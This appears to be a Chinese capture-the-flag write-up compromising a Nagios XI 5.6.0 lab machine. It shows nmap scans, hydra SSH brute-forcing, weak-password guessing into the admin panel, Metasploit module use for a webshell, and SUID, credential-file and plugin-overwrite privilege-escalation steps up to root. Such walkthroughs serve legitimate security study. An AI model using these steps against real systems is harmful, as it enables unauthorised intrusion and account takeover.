杳若
- 关注

总结
getwebshell
: 登录处的最佳实践(弱口令)进入后台 →msf
历史漏洞利用
提 权 思 路
: 发现suid
的check
文件 →msf
之check
插件漏洞利用
准备工作
启动VPN
获取攻击机IP →192.168.45.191
启动靶机
获取目标机器IP →192.168.179.136
信息收集-端口扫描
目标开放端口收集
Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.179.136
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
389/tcp open ldap
443/tcp open https
5667/tcp open unknown
开放的端口-→22,25,80,389,443,5667
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
5667/tcp open tcpwrapped
这样看的话开放的端口是挺多的
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2
发现搜索到可利用的和用户枚举有关(待定)
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.179.136 -v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# sudo ssh root @192.168.179.136 -p 22
root @192.168.179.136's password: root
Permission denied, please try again.
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
25-SMTP端口(待定)
25/tcp open smtp Postfix smtpd
该端口接触较少,先待定,和邮件有关
80-HTTP端口的信息收集
访问http://192.168.179.136:80
看上去是一个标准的CMS
戳了一下Access Nagios XI
跳转到了登录窗口
信息收集-网站指纹
┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# whatweb http://192.168.179.136:80
http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]
CMS
是Nagios XI
漏洞利用-网站指纹
searchsploit Nagios XI
总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用
msf6 → search Nagios XI
use 3
选择了较新且rank
好的,查看了一下发现是需要密码的
信息收集-HTML隐藏信息查看(无)
# 包括文章中是否写明一些敏感信息
curl http://192.168.179.136:80
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.179.136:80 -x 302,403
漏洞利用-getwebshell
在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。
登录端点的最佳实践
尝试寻找网上是否存在该
cms
的登录凭证
得到账户以及密码nagiosadmin
:nagios
登录之后发现不正确
利用默认登录凭证测试弱口令漏洞
测试nagiosadmin
的弱口令密码,主要测试
数字序列:例如123456、123456789、111111等简单的数字序列。
字母序列:例如abcdefg、qwerty、password等简单的字母序列。
字典词汇:例如admin、password、12345678等常见的字典单词。
重复字符:例如11111、aaaaaa等重复的字符序列。
键盘连续字符:例如qwertyuiop、asdfghjkl等键盘上连续的字符。
123456 # 数字序列
123456789 # 数字序列
987654321 # 数字序列
admin # 字典词汇
password # 字典词汇
root # 字典词汇
111111 # 重复字符
aaaaaa # 重复字符
abcdefg # 键盘连续字符
qwertyuiop # 键盘连续字符
在测试的过程中,发现利用admin
进入了后台
得到版本信息Nagios XI 5.6.0
指纹漏洞利用实践
MSF利用一(失败)
既然知道了密码admin
尝试利用之前的msf
提示版本错误,那重新搜索吧
MSF利用二(失败)
msf6 → search Nagios XI 5.6.0
发现只有一个,尝试利用
设置完信息之后进行运行,连接成功但是没有创建会话
决定换个payloads
进行尝试,发现能成功连接但是运行不成功,可能是该exp
不行
MSF利用三
msf6 → search Nagios
发现了多个,根据内容进行筛选
总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
在这里10和11中选择了11进行尝试
成功getwebshell
内网遨游-getshell
交互shell
# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取(无)
find / -name local.txt 2→/dev/null
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.7 LTS
Release: 16.04
Codename: xenial
发行版本为Ubuntu
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.4.0
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
使用的时候需要密码 唔
列举出所有suid文件
如果发现u=s
有东西的话 访问https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1985 Sep 8 2020 /etc/passwd
/etc/shadow权限收集
如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权如果
/etc/shadow
具有可读权限可以爆破密码
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1244 Mar 23 2021 /etc/shadow
www-data @ubuntu:/usr/local/nagiosxi/html/admin$
getcap标志进程收集
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
# 无
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
查看历史信息
可能用户留下的历史信息具有有用的信息
history
无信息
确认/home目录下信息
/home
目录下的用户可以做账号字典尝试弱密码
以及爆破
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
total 12
drwxr-xr-x 2 coconut coconut 4096 Mar 23 2021 coconut
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码 ./*_history找历史记录等
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
lrwxrwxrwx 1 root root 9 Jan 28 2021 .bash_history -→ /dev/null
-rw-r--r-- 1 coconut coconut 220 Sep 8 2020 .bash_logout
-rw-r--r-- 1 coconut coconut 3771 Sep 8 2020 .bashrc
-rw-r--r-- 1 coconut coconut 655 Sep 8 2020 .profile
尝试弱密码无效,准备利用hyrda
尝试
# -P 指定密码字典
hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
在爆破的过程中研究一下suid
文件
尝试写入恶意内容进行利用
echo'#!/bin/sh
chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp
写入之后发现再用find
查阅不是suid
了
收集中的思考
收集了半天,却没发现什么有用的内容,真有意思
这时候就是努力学习的过程,参考了网上的wp
,他们用了msf
中的第10个
而我用了第11个
这时候灵光一闪,理解了为什么用10是直接root
权限,这也是全网都没人写的
回到suid
权限文件收集,可以发现了利用check
是直接root
的,那么rce
也是直接root
的
权限提升
suid之check_plugin权限提升
search Nagios
use 10
经过了一系列的设置之后run
提权成功
FLAG2获取
cat /root/proof.txt
0559c8f500a23ba2628189a1b06b557f
完结撒花~
思考
在利用msf
搜索的时候,有时候不能太精确的搜索版本
在内网中细节还是要注意,虽然我之前看到了suid
的check_icmp
,没有利用成功,可以考虑从外部尝试
find suid
都要试试看先比较好
后记
发现
# 才知道是可以这样执行的
sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *
# 不过查看了一下权限,只能读
ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
-r-xr-x--- 1 root nagios 177241 Sep 8 2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)